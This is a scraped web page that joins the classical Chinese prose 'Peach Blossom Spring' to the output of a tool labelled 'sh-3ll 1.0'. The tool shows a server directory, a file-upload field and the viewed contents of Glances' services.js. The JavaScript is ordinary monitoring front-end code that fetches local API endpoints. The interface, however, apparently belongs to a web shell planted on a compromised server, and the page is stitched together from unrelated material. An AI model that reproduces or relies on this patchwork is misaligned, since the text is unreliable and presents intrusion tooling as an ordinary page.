晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/lib/python3.9/site-packages/glances/outputs/static/js/
Upload File :
Current File : //lib/python3.9/site-packages/glances/outputs/static/js/services.js
import { store } from './store.js';
import Favico from 'favico.js';

// prettier-ignore
const fetchAll = () => fetch('api/3/all', { method: 'GET' }).then((response) => response.json());
// prettier-ignore
const fetchAllViews = () => fetch('api/3/all/views', { method: 'GET' }).then((response) => response.json());
// prettier-ignore
const fetchAllLimits = () => fetch('api/3/all/limits', { method: 'GET' }).then((response) => response.json());
// prettier-ignore
const fetchArgs = () => fetch('api/3/args', { method: 'GET' }).then((response) => response.json());
// prettier-ignore
const fetchConfig = () => fetch('api/3/config', { method: 'GET' }).then((response) => response.json());

class GlancesHelperService {
    limits = {};
    limitSuffix = ['critical', 'careful', 'warning'];

    setLimits(limits) {
        this.limits = limits;
    }

    getAlert(pluginName, limitNamePrefix, current, maximum, log) {
        current = current || 0;
        maximum = maximum || 100;
        log = log || false;

        var log_str = log ? '_log' : '';
        var value = (current * 100) / maximum;

        if (this.limits[pluginName] != undefined) {
            for (var i = 0; i < this.limitSuffix.length; i++) {
                var limitName = limitNamePrefix + this.limitSuffix[i];
                var limit = this.limits[pluginName][limitName];
                if (value >= limit) {
                    var pos = limitName.lastIndexOf('_');
                    var className = limitName.substring(pos + 1);
                    return className + log_str;
                }
            }
        }

        return 'ok' + log_str;
    }

    getAlertLog(pluginName, limitNamePrefix, current, maximum) {
        return this.getAlert(pluginName, limitNamePrefix, current, maximum, true);
    }
}

export const GlancesHelper = new GlancesHelperService();

class GlancesStatsService {
    data = undefined;

    init(REFRESH_TIME = 60) {
        let timeout = undefined;
        const fetchData = () => {
            store.status = 'PENDING';
            return Promise.all([fetchAll(), fetchAllViews()])
                .then((response) => {
                    const data = {
                        stats: response[0],
                        views: response[1],
                        isBsd: response[0]['system']['os_name'] === 'FreeBSD',
                        isLinux: response[0]['system']['os_name'] === 'Linux',
                        isSunOS: response[0]['system']['os_name'] === 'SunOS',
                        isMac: response[0]['system']['os_name'] === 'Darwin',
                        isWindows: response[0]['system']['os_name'] === 'Windows'
                    };
                    this.data = data;
                    store.data = data;
                    store.status = 'SUCCESS';
                })
                .catch((error) => {
                    console.log(error);
                    store.status = 'FAILURE';
                })
                .then(() => {
                    if (timeout) {
                        clearTimeout(timeout);
                    }
                    timeout = setTimeout(fetchData, REFRESH_TIME * 1000); // in milliseconds
                });
        };
        fetchData();

        fetchAllLimits().then((response) => {
            GlancesHelper.setLimits(response);
        });

        fetchArgs().then((response = {}) => {
            store.args = { ...store.args, ...response };
        });

        fetchConfig().then((response = {}) => {
            store.config = { ...store.config, ...response };
        });
    }

    getData() {
        return this.data;
    }
}

export const GlancesStats = new GlancesStatsService();

class GlancesFavicoService {
    constructor() {
        this.favico = new Favico({
            animation: 'none'
        });
    }
    badge(nb) {
        this.favico.badge(nb);
    }
    reset() {
        this.favico.reset();
    }
}

export const GlancesFavico = new GlancesFavicoService();